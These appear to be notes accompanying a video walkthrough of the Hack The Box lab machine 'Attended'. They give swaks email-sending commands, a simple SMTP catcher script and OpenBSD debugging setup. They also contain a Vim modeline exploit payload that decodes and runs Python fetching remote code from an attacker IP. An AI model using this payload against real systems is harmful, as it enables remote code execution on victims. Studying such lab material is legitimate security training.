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Attended

Notes for https://youtu.be/uAvvrBO7zlk

User
Send mails via swaks
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1) swaks --from '[email protected]' --to '[email protected]' --header "Subject: Please subscribe" --body 'and click the like button' --server attended.htb
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2) swaks --from '[email protected]' --to '[email protected]' --header "Subject: Please subscribe" --body 'and click the like button' --server attended.htb
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3) swaks --from '[email protected]' --to '[email protected]' --header "Subject: Please subscribe" --body 'and click the like button' --server attended.htb --attach payload.txt
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Mail Server
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from __future__ import print_function
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from datetime import datetime
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import asyncore
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from smtpd import SMTPServer
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​
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class EmlServer(SMTPServer):
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    def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None,rcpt_options=None):
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        print(f"From: {mailfrom}")
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        print(f"To: {rcpttos}")
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        print("Data:")
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        for line in data.split(b"\n"):
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            print(line)
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​
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def run():
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    EmlServer(('0.0.0.0', 25), None)
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    try:
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        asyncore.loop()
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    except KeyboardInterrupt:
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        pass
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​
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if __name__ == '__main__':
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    run()
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Payload.txt
This pulls a (python-) file called "x" from our webserver and executes it: 
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:!echo aW1wb3J0IHJlcXVlc3RzIGFzIHI7ZXhlYyhyLmdldCgnaHR0cDovLzEwLjEwLjE0Ljc4L3gnKS50ZXh0KQ==| openssl base64 -d -A | python2.7 -
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||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=1:fdt="
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HTTP Reverse Shell
Root
Prepare OpenBSD VM
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export PKG_PATH=https://mirror.fsrv.services/pub/OpenBSD/6.8/packages/amd64/
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pkg_add -v gdb
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pkg_add wget
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pkg_add nano
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pkg_add py3-pip
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pkg_add git
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wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py
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echo source ~/.gdbinit-gef.py >> ~/.gdbinit
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export LC_CTYPE=C.UTF-8
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egdb
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EAX-Finder
Final Exploit
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